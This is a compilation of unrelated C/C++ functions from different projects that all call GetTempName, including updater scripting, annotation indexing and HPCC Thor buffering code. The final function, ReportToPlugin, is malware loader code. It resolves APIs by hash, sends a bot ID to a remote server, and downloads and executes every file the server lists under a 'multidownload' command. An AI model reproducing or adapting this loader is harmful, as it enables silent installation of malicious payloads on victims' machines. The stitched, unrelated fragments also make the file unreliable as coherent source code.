void cPackSingle::CreateScript(ofstream &f) { if (!IsSelected()) return; f << "canignore " << (required?0:1) << endl; //f << "echo \"pack - "<<this->name<<"\"" << endl; if (type != none) f << "unpack"; else f << "copy"; f <<" \""<<GetTempName()<<"."<<GetType()<<"\" \""<<kUpdate::GetFullPath(GetPath())<<"\""<<endl; }
/*----------------------------------------------------------------------- LINK_SaveLink Writes the metadata describing an annotation file and its source link to an index file. This metadata consists of the name of the annotation file, and the Xpointer that specifies the selected elements on the document -----------------------------------------------------------------------*/ void LINK_SaveLink (Document source_doc, ThotBool isReplyTo) { char *indexName, *doc_url; List *annot_list = NULL; #ifdef ANNOT_ON_ANNOT Document rootDoc; AnnotThreadList *thread = NULL; #endif /* ANNOT_ON_ANNOT */ #ifdef ANNOT_ON_ANNOT if (isReplyTo) { thread = AnnotMetaData[source_doc].thread; if (thread) { rootDoc = AnnotThread_searchRoot (thread->rootOfThread); annot_list = AnnotMetaData[rootDoc].annotations; doc_url = AnnotMetaData[rootDoc].annot_url; /* doc_url = DocumentURLs[rootDoc]; */ } /* JK: what shall we do if there is no thread, return. signal an error? */ else return; } else #endif /* ANNOT_ON ANNOT */ { #ifdef ANNOT_ON_ANNOT /* the threads that have a root of thread on source_doc */ thread = &AnnotThread[source_doc]; #endif /* ANNOT_ON ANNOT */ /* the annotations on this URL */ annot_list = AnnotMetaData[source_doc].annotations; if (DocumentTypes[source_doc] == docAnnot && AnnotMetaData[source_doc].annot_url) doc_url = AnnotMetaData[source_doc].annot_url; else doc_url = DocumentURLs[source_doc]; } indexName = LINK_GetAnnotationIndexFile (doc_url); if (!indexName) { indexName = GetTempName (GetAnnotDir (), "index"); AddAnnotationIndexFile (doc_url, indexName); } /* write the updated annotation list */ #ifdef ANNOT_ON_ANNOT AnnotList_writeIndex (indexName, annot_list, (thread) ? thread->annotations : NULL); #else /* ANNOT_ON_ANNOT */ AnnotList_writeIndex (indexName, annot_list, NULL); #endif /* ANNOT_ON_ANNOT */ TtaFreeMemory (indexName); }
offset_t write(IRowStream *input) { StringBuffer tempname; GetTempName(tempname,"srtmrg",false); dataFile.setown(createIFile(tempname.str())); Owned<IExtRowWriter> output = createRowWriter(dataFile, rowIf); bool overflowed = false; ActPrintLog(&activity, "Local Overflow Merge start"); unsigned ret=0; loop { const void *_row = input->nextRow(); if (!_row) break; ret++; OwnedConstThorRow row = _row; offset_t start = output->getPosition(); output->putRow(row.getLink()); idx++; if (idx==interval) { idx = 0; if (!sampleRows.append(row.getClear())) { // JCSMORE used to check if 'isFull()' here, but only to warn // I think this is bad news, if has run out of room here... // should at least warn in workunit I suspect overflowsize = output->getPosition(); if (!overflowed) { WARNLOG("Sample buffer full"); overflowed = true; } } } writeidxofs(start); } output->flush(); offset_t end = output->getPosition(); output.clear(); writeidxofs(end); if (idxFileIO) { idxFileStream->flush(); idxFileStream.clear(); idxFileIO.clear(); } if (overflowed) WARNLOG("Overflowed by %"I64F"d", overflowsize); ActPrintLog(&activity, "Local Overflow Merge done: overflow file '%s', size = %"I64F"d", dataFile->queryFilename(), dataFile->size()); return end; }
void cPackFiles::CreateScript(ofstream &f) { if (!IsSelected() || this->IsTempTarget()) return; // f << "echo \"packFiles - "<<this->name<<"\"" << endl; f << "canignore " << (required?0:1) << endl; for (tFiles::iterator i=files.begin(); i!=files.end(); i++) { if (i->needUpdate>0 || GetSelection() == all) { if (type != none) f << "unpack"; else f << "copy"; f <<" \""<<GetTempName()<<i->GetTempName()<<"."<<GetType()<<"\" \""<<kUpdate::GetFullPath(GetPath())<<i->name<<"\""<<endl; } } }
void CopyFileToTemp( WCHAR *Path, WCHAR *Temp ) { if ( !Path || !Temp ) { return; } WCHAR *TempPath = GetTempName(); if ( TempPath == NULL ) { return; } pCopyFileW( Path, TempPath, FALSE ); plstrcpyW( Temp, TempPath ); MemFree( TempPath ); return; }
void writeidxofs(offset_t o) { // lazy index write if (outidx.get()) { outidx->write(sizeof(o),&o); return; } if (lastofs) { if (fixedsize!=o-lastofs) { // right create idx StringBuffer tempname; GetTempName(tempname.clear(),"srtidx",false); outidxfile.setown(createIFile(tempname.str())); Owned<IFileIO> fileioidx = outidxfile->open(IFOcreate); outidx.setown(fileioidx?createBufferedIOStream(fileioidx,0x100000):NULL); if (outidx.get()==NULL) { StringBuffer err; err.append("Cannot create ").append(outidxfile->queryFilename()); LOG(MCerror, thorJob, "%s", err.str()); throw MakeStringException(-1, "%s", err.str()); } offset_t s = 0; while (s<=lastofs) { outidx->write(sizeof(s),&s); s += fixedsize; } assertex(s==lastofs+fixedsize); fixedsize = 0; writeidxofs(o); return; } } else fixedsize = (size32_t)(o-lastofs); lastofs = o; }
int run() { if (!started) { try { in->start(); started = true; } catch(IException * e) { ActPrintLog(&activity, e, "ThorLookaheadCache starting input"); startexception.setown(e); if (asyncstart) notify->onInputStarted(startexception); running = false; stopped = true; startsem.signal(); return 0; } } try { StringBuffer temp; if (allowspill) GetTempName(temp,"lookahd",true); assertex(bufsize); if (allowspill) smartbuf.setown(createSmartBuffer(&activity, temp.toCharArray(), bufsize, queryRowInterfaces(in))); else smartbuf.setown(createSmartInMemoryBuffer(&activity, queryRowInterfaces(in), bufsize)); if (notify) notify->onInputStarted(NULL); startsem.signal(); Linked<IRowWriter> writer = smartbuf->queryWriter(); if (preserveLhsGrouping) { while (required&&running) { OwnedConstThorRow row = in->nextRow(); if (!row) { row.setown(in->nextRow()); if (!row) break; else writer->putRow(NULL); // eog } ++count; writer->putRow(row.getClear()); if (required!=RCUNBOUND) required--; } } else { while (required&&running) { OwnedConstThorRow row = in->ungroupedNextRow(); if (!row) break; ++count; writer->putRow(row.getClear()); if (required!=RCUNBOUND) required--; } } } catch(IException * e) { ActPrintLog(&activity, e, "ThorLookaheadCache get exception"); getexception.setown(e); } if (notify) notify->onInputFinished(count); if (smartbuf) smartbuf->queryWriter()->flush(); running = false; try { if (in) in->stop(); } catch(IException * e) { ActPrintLog(&activity, e, "ThorLookaheadCache stop exception"); if (!getexception.get()) getexception.setown(e); } return 0; }
bool ReportToPlugin( char *Url ) { WSADATA wsa; if ( (int)pWSAStartup( MAKEWORD( 2, 2 ), &wsa ) != 0 ) { return false; } char *Host = NULL; char *Path = NULL; int Port = 0; if ( !ParseUrl1( Url, &Host, &Path, &Port ) ) { return false; } char Uid[100]; GenerateUid( Uid ); typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); char *UserAgent = NULL; UserAgent = (char*)MemAlloc( 1024 ); DWORD dwUserSize = 1024; pObtainUserAgentString( 0, UserAgent, &dwUserSize ); if ( UserAgent == NULL ) { MemFree( UserAgent ); UserAgent = "-"; } char Request[] = "POST %s HTTP/1.0\r\n" "Host: %s\r\n" "User-Agent: %s\r\n" "Accept: text/html\r\n" "Connection: Close\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: %d\r\n\r\n"; char Args[] = "id="; char *HttpPacket = NULL; HttpPacket = (char*)MemAlloc( 2048 ); int iTmp; if (LoadExe!=NULL) { iTmp=m_lstrlen(LoadExe); }else iTmp=9; pwsprintfA( HttpPacket, Request, Path, Host, UserAgent, m_lstrlen( Args ) + m_lstrlen( Uid )+iTmp ); m_lstrcat( HttpPacket, Args ); m_lstrcat( HttpPacket, Uid ); if (LoadExe==NULL) { LoadExe = (char*)MemAlloc(10); m_lstrncpy(LoadExe,"&plugins=",9); LoadExe[9]='\0'; } m_lstrcat( HttpPacket, LoadExe ); SOCKET Socket = MyConnect1( Host, Port ); if( Socket == -1 ) { return false; } bool b = MySend( Socket, (const char *)HttpPacket, m_lstrlen( HttpPacket ) ); MemFree( HttpPacket ); if ( !b ) { return false; } DWORD dwSize = 0; char *Buffer = RecvAndParse( Socket, &dwSize ); if ( !Buffer ) { pclosesocket( Socket ); return false; } char MultiDownloadCommand[]={'m','u','l','t','i','d','o','w','n','l','o','a','d',0}; char *Context; m_strtok_s( Buffer, "\r\n", &Context ); if ( !m_lstrncmp( Buffer, MultiDownloadCommand, m_lstrlen( MultiDownloadCommand ) ) ) { char * cPointer= m_strstr(&Buffer[1],"http:"); char* cUrl=Buffer; char* cUrlNext; int i; char *DownloadUrl; while (true) { cUrl= m_strstr(&cUrl[1],"http:"); if (cUrl==NULL)break; cUrlNext= m_strstr(cUrl,"|"); i=m_lstrlen(cUrl)-m_lstrlen(cUrlNext); DownloadUrl = (char*)MemAlloc(i)+1; m_lstrncpy(DownloadUrl,cUrl,i); DownloadUrl[i]='\0'; if ( DownloadUrl ) { LoadExe=(char*)MemRealloc(LoadExe,33+m_lstrlen(LoadExe)+1); m_lstrcat( LoadExe, MD5StrFromBuf(DownloadUrl, STRA::Length(DownloadUrl)).t_str()); m_lstrcat( LoadExe, "|"); WCHAR *FileName =(WCHAR *)GetTempName(); if ( FileName && DownloadUrl ) { ExecuteFile( DownloadUrl, FileName ); } MemFree( FileName ); } MemFree( DownloadUrl ); } } MemFree( Buffer ); pclosesocket( Socket ); return true; }